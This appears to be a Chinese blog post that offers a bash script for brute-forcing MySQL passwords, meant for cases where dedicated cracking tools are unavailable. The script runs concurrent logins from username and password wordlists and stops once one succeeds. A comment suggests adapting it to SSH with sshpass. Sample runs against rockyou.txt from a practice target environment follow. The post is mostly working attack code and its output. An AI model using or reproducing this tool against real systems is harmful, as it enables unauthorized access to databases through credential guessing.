• 【MySql密码爆破脚本】用于其他爆破工具无法使用的情况下


    1、脚本

    #!/bin/bash
    
    # 脚本参数
    username=$1  # MySQL用户(或字典路径)
    password=$2  # MySQL密码(或字典路径)
    task_num=${3:-32}  # 并发数,默认 32
    
    # 检查参数是否存在
    if [ -z "$username" ] || [ -z "$password" ]; then
        echo "请输入用户名(或字典路径)和密码(或字典路径)"
        echo "用法: ./mysql_login.sh username password"
        exit 1
    fi
    
    # 并发数,默认 32
    if ! [[ $task_num =~ ^[0-9]+$ ]]; then
        task_num=32
    fi
    
    # 读取用户字典文件
    echo '读取用户信息...'
    if [ -f "$username" ]; then
        usernames=$(cat $username)
    else
        usernames=$(echo $username | cat)
    fi
    # 读取密码字典文件
    echo '读取密码信息...'
    if [ -f "$password" ]; then
        passwords=$(cat $password)
    else
        passwords=$(echo $password | cat)
    fi
    
    # 尝试登录函数
    function try_mysql_login() {
        user=$1
        pswd=$2
        # 尝试登录MySQL
        output=$(mysql -u $user -p$pswd -e "exit" 2>&1)
    
        # 检查输出是否包含错误信息
        if [[ ! $output =~ 'ERROR' ]]; then
            echo "成功登录,用户密码为 -> $user : $pswd"
            # 获取当前脚本的 PID
            script_pid=$(ps -p $$ | grep -v PID | awk '{print $1}')
            # 强制结束当前脚本
            kill -s 9 $script_pid
        fi
    }
    
    function print_progress() {
        # 打印进度,如果一直没有输出,时间太长会感觉卡死了
        numb=$1
        task=$2
        snum=$3
        user=$4
        pswd=$5
        if [ $(($numb % ($task * 10))) -eq 0 ]; then
            echo "尝试登录进度($numb/$snum) -> $user : $pswd"
        fi
    }
    
    # 循环遍历密码字典
    pool=0
    count=0
    total_tasks=$(($(echo "$usernames" | wc -l) * $(echo "$passwords" | wc -l)))
    for username in $usernames; do
        echo "尝试用户: $username"
        for password in $passwords; do
            count=$((count + 1))
            # 等待空闲进程池中的任务
            while [ $pool -ge $task_num ]; do
              wait -n
              ((pool--))
            done
            
            # 创建新任务并加入进程池
            {
              try_mysql_login $username $password
              # 在这里执行具体的登录操作,例如使用ssh命令
              # 示例:sshpass -p "$password" ssh "$user"@hostname command
            } &
            ((pool++))
            print_progress $count $task_num $total_tasks $username $password
        done
    done
    
    # 等待所有进程完成
    wait
    
    echo "密码爆破失败"
    exit 1
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95

    2、使用方法

    使用场景:是一次打靶经历,内网容器,无法连接外网,又有很多命令失效,无法使用专门的MySql爆破工具,本人又很菜,就只能想到自己写一个sh的爆破脚本了。

    (base) ┌──(root㉿kali)-[/usr/local/soft/hack]
    └─# ./mysql_login.sh mike /usr/share/wordlists/rockyou.txt 64                 
    尝试用户: mike
    尝试登录进度 -> mike : pebbles
    尝试登录进度 -> mike : poohbear1
    尝试登录进度 -> mike : jacqueline
    尝试登录进度 -> mike : scarlett
    密码爆破失败
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    mike@host2:/tmp$ ./mysql_login.sh user.txt top500.txt
    尝试用户: root
    尝试登录进度 -> mike : pebbles
    尝试登录进度 -> mike : poohbear1
    尝试用户: mike
    尝试登录进度 -> mike : pebbles
    成功登录,密码为: password
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
  • 相关阅读:
    经典Java面试题汇总及答案解析
    iNFTnews | 创造者经济的未来在Web3世界中该去向何处?
    智安网络|从区块链到社交网络:解析去中心化的意义与应用
    详解数据管理、数据治理、数据资产管理
    langchain 之 Tools 多案例使用(一)
    飞桨Paddle动转静@to_static技术设计
    【学习记录】Dynaslam源代码魔改-替换MaskRCNN为YoloV5
    java计算机毕业设计服装批发进销存系统MyBatis+系统+LW文档+源码+调试部署
    Spring Boot 项目部署方案!打包 + Shell 脚本部署详解
    求10的阶乘之和
  • 原文地址:https://blog.csdn.net/weixin_43094965/article/details/134453647